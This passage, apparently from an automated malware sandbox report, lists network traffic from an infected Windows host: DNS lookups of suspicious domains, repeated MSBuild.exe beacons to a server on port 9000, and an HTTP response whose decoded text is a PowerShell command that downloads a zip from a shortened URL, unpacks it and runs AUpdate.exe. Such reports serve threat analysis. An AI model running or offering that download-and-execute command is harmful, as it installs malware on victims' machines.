Feb 27, 2025 20:26:29.319426060 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.344583035 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.378339052 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:29.424357891 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.472693920 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.520734072 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:29.599441051 CET	9000	52707	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.599539042 CET	9000	52707	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.599620104 CET	52707	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:29.604788065 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.660734892 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:29.713855028 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.754740000 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:34.011605978 CET	52707	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:34.016902924 CET	9000	52707	92.255.85.36	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 27, 2025 20:24:24.571491003 CET	53	60998	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:24.584372997 CET	53	49378	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:25.433904886 CET	64011	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:25.434159040 CET	64005	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:25.613945007 CET	53	57204	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:26.446734905 CET	59269	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:26.446995974 CET	50265	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:26.666542053 CET	53	64011	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:26.742852926 CET	53	59269	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:27.325323105 CET	53	50265	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:27.787956953 CET	53	64005	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:28.889600992 CET	53	53844	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:29.352421045 CET	58075	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:29.352755070 CET	55887	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:29.359739065 CET	53	55887	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:29.359824896 CET	53	58075	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:29.650306940 CET	53	60226	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:29.833045959 CET	53	55196	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:30.212667942 CET	62804	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:30.212805986 CET	58572	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:30.508285046 CET	53	62804	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:31.468064070 CET	53	58572	1.1.1.1	192.168.2.16
Feb 27, 2025 20:25:04.160218000 CET	63035	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:25:04.167402029 CET	53	63035	1.1.1.1	192.168.2.16
Feb 27, 2025 20:25:04.817333937 CET	53699	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:25:04.825457096 CET	53	53699	1.1.1.1	192.168.2.16
Feb 27, 2025 20:25:05.463506937 CET	58112	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:25:05.474937916 CET	53	58112	1.1.1.1	192.168.2.16
Feb 27, 2025 20:25:21.666258097 CET	62218	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:25:21.680087090 CET	53	62218	1.1.1.1	192.168.2.16
Feb 27, 2025 20:25:24.486219883 CET	53	55674	1.1.1.1	192.168.2.16
Feb 27, 2025 20:25:31.334492922 CET	138	138	192.168.2.16	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 27, 2025 20:24:26.742938995 CET	192.168.2.16	1.1.1.1	c204	(Port unreachable)	Destination Unreachable
Feb 27, 2025 20:24:27.788038015 CET	192.168.2.16	1.1.1.1	c242	(Port unreachable)	Destination Unreachable
Feb 27, 2025 20:24:31.468149900 CET	192.168.2.16	1.1.1.1	c242	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 27, 2025 20:24:25.433904886 CET	192.168.2.16	1.1.1.1	0xc5b0	Standard query (0)	cta.berlmember.com	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:25.434159040 CET	192.168.2.16	1.1.1.1	0x2e0a	Standard query (0)	cta.berlmember.com	65	IN (0x0001)	false
Feb 27, 2025 20:24:26.446734905 CET	192.168.2.16	1.1.1.1	0xec62	Standard query (0)	cta.berlmember.com	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:26.446995974 CET	192.168.2.16	1.1.1.1	0xca4f	Standard query (0)	cta.berlmember.com	65	IN (0x0001)	false
Feb 27, 2025 20:24:29.352421045 CET	192.168.2.16	1.1.1.1	0xb0d4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:29.352755070 CET	192.168.2.16	1.1.1.1	0x4e9d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Feb 27, 2025 20:24:30.212667942 CET	192.168.2.16	1.1.1.1	0xe888	Standard query (0)	cta.berlmember.com	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:30.212805986 CET	192.168.2.16	1.1.1.1	0xc68f	Standard query (0)	cta.berlmember.com	65	IN (0x0001)	false
Feb 27, 2025 20:25:04.160218000 CET	192.168.2.16	1.1.1.1	0x228f	Standard query (0)	shorturl.at	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:04.817333937 CET	192.168.2.16	1.1.1.1	0x9efd	Standard query (0)	www.shorturl.at	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:05.463506937 CET	192.168.2.16	1.1.1.1	0x9c6c	Standard query (0)	update-connection-to.help	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:21.666258097 CET	192.168.2.16	1.1.1.1	0x8c6a	Standard query (0)	update-connection-to.help	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 27, 2025 20:24:26.666542053 CET	1.1.1.1	192.168.2.16	0xc5b0	No error (0)	cta.berlmember.com		103.52.144.214	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:26.742852926 CET	1.1.1.1	192.168.2.16	0xec62	No error (0)	cta.berlmember.com		103.52.144.214	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:29.359739065 CET	1.1.1.1	192.168.2.16	0x4e9d	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 27, 2025 20:24:29.359824896 CET	1.1.1.1	192.168.2.16	0xb0d4	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:30.508285046 CET	1.1.1.1	192.168.2.16	0xe888	No error (0)	cta.berlmember.com		103.52.144.214	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:40.573873043 CET	1.1.1.1	192.168.2.16	0x5277	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 27, 2025 20:24:40.573873043 CET	1.1.1.1	192.168.2.16	0x5277	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:24:54.355405092 CET	1.1.1.1	192.168.2.16	0xae0f	No error (0)	q-ring.q-9999.q-msedge.net	q-9999.q-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 27, 2025 20:24:54.355405092 CET	1.1.1.1	192.168.2.16	0xae0f	No error (0)	q-9999.q-msedge.net	q-9999.q.dns.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 27, 2025 20:24:54.355405092 CET	1.1.1.1	192.168.2.16	0xae0f	No error (0)	q-9999.q.dns.azurefd.net	q-9999.standard.q-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 27, 2025 20:24:54.355405092 CET	1.1.1.1	192.168.2.16	0xae0f	No error (0)	q-9999.standard.q-msedge.net		13.107.49.254	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:04.167402029 CET	1.1.1.1	192.168.2.16	0x228f	No error (0)	shorturl.at		104.26.9.129	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:04.167402029 CET	1.1.1.1	192.168.2.16	0x228f	No error (0)	shorturl.at		172.67.69.88	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:04.167402029 CET	1.1.1.1	192.168.2.16	0x228f	No error (0)	shorturl.at		104.26.8.129	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:04.825457096 CET	1.1.1.1	192.168.2.16	0x9efd	No error (0)	www.shorturl.at		172.67.69.88	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:04.825457096 CET	1.1.1.1	192.168.2.16	0x9efd	No error (0)	www.shorturl.at		104.26.8.129	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:04.825457096 CET	1.1.1.1	192.168.2.16	0x9efd	No error (0)	www.shorturl.at		104.26.9.129	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:05.474937916 CET	1.1.1.1	192.168.2.16	0x9c6c	No error (0)	update-connection-to.help		104.21.68.54	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:05.474937916 CET	1.1.1.1	192.168.2.16	0x9c6c	No error (0)	update-connection-to.help		172.67.187.188	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:21.680087090 CET	1.1.1.1	192.168.2.16	0x8c6a	No error (0)	update-connection-to.help		172.67.187.188	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:21.680087090 CET	1.1.1.1	192.168.2.16	0x8c6a	No error (0)	update-connection-to.help		104.21.68.54	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:28.860471010 CET	1.1.1.1	192.168.2.16	0x1f2c	No error (0)	t-ring.t-9999.t-msedge.net	t-9999.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 27, 2025 20:25:28.860471010 CET	1.1.1.1	192.168.2.16	0x1f2c	No error (0)	t-9999.t-msedge.net		13.107.213.254	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:28.860471010 CET	1.1.1.1	192.168.2.16	0x1f2c	No error (0)	t-9999.t-msedge.net		13.107.246.254	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:44.225805998 CET	1.1.1.1	192.168.2.16	0xa8ff	No error (0)	t-ring.t-9999.t-msedge.net	t-9999.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 27, 2025 20:25:44.225805998 CET	1.1.1.1	192.168.2.16	0xa8ff	No error (0)	t-9999.t-msedge.net		13.107.213.254	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:25:44.225805998 CET	1.1.1.1	192.168.2.16	0xa8ff	No error (0)	t-9999.t-msedge.net		13.107.246.254	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:26:15.228522062 CET	1.1.1.1	192.168.2.16	0xeba6	No error (0)	t-ring.t-9999.t-msedge.net	t-9999.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 27, 2025 20:26:15.228522062 CET	1.1.1.1	192.168.2.16	0xeba6	No error (0)	t-9999.t-msedge.net		13.107.246.254	A (IP address)	IN (0x0001)	false
Feb 27, 2025 20:26:15.228522062 CET	1.1.1.1	192.168.2.16	0xeba6	No error (0)	t-9999.t-msedge.net		13.107.213.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cta.berlmember.com

https:

shorturl.at

www.shorturl.at

update-connection-to.help

45.61.157.205

92.255.85.36:9000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	52533	45.61.157.205	80	7848	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:25:03.359523058 CET	69	OUT	GET /f1/red HTTP/1.1 Host: 45.61.157.205 Connection: Keep-Alive
Feb 27, 2025 20:25:04.097711086 CET	849	IN	HTTP/1.1 200 OK Date: Thu, 27 Feb 2025 19:25:03 GMT Server: Apache/2.4.52 (Ubuntu) x-frame-options: SAMEORIGIN x-xss-protection: 0 x-content-type-options: nosniff x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin content-type: text/plain; charset=utf-8 etag: W/"976d890c28a3f72bf79f628bfc1bfc3a" cache-control: max-age=0, private, must-revalidate x-request-id: 486fe854-16d1-4b96-b1e9-41d1f0578777 x-runtime: 0.132478 strict-transport-security: max-age=63072000; includeSubDomains Content-Length: 213 Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 75 72 6c 2e 61 74 2f 71 54 6c 4a 4d 22 20 2d 4f 75 74 46 69 6c 65 20 22 24 65 6e 76 3a 54 45 4d 50 5c 41 49 52 4d 61 78 2e 7a 69 70 22 3b 20 45 78 70 61 6e 64 2d 41 72 63 68 69 76 65 20 2d 50 61 74 68 20 22 24 65 6e 76 3a 54 45 4d 50 5c 41 49 52 4d 61 78 2e 7a 69 70 22 20 2d 44 65 73 74 69 6e 61 74 69 6f 6e 50 61 74 68 20 22 24 65 6e 76 3a 54 45 4d 50 22 3b 20 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 2d 46 69 6c 65 50 61 74 68 20 22 24 65 6e 76 3a 54 45 4d 50 5c 4d 61 78 69 41 69 72 5c 41 55 70 64 61 74 65 2e 65 78 65 22 Data Ascii: Invoke-WebRequest -Uri "https://shorturl.at/qTlJM" -OutFile "$env:TEMP\AIRMax.zip"; Expand-Archive -Path "$env:TEMP\AIRMax.zip" -DestinationPath "$env:TEMP"; Start-Process -FilePath "$env:TEMP\MaxiAir\AUpdate.exe"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	52670	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:25:58.677886009 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:25:59.362643003 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	52671	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:25:59.482116938 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:00.199008942 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	52672	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:00.311461926 CET	86	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000
Feb 27, 2025 20:26:01.034915924 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	52673	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:01.155694962 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:01.857170105 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	52674	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:01.966943979 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:02.658576012 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	52675	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:02.765474081 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:03.447808981 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	52676	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:03.564527035 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:04.246336937 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	52677	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:04.361232042 CET	86	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000
Feb 27, 2025 20:26:05.050024033 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	52678	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:05.156888008 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:05.851217031 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	52679	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:05.971421957 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:06.666491032 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	52680	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:06.783341885 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:07.500838995 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	52681	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:07.612833977 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:08.298135042 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	52682	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:08.414999008 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:09.108544111 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	52683	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:09.225630045 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:09.920413971 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	52684	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:10.041470051 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:10.727891922 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	52685	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Feb 27, 2025 20:26:10.839993000 CET	110	OUT	GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1 Host: 92.255.85.36:9000 Connection: Keep-Alive
Feb 27, 2025 20:26:11.588807106 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Fri, 28 Feb 2025 01:26:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	52686	92.255.85.36	9000	6416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
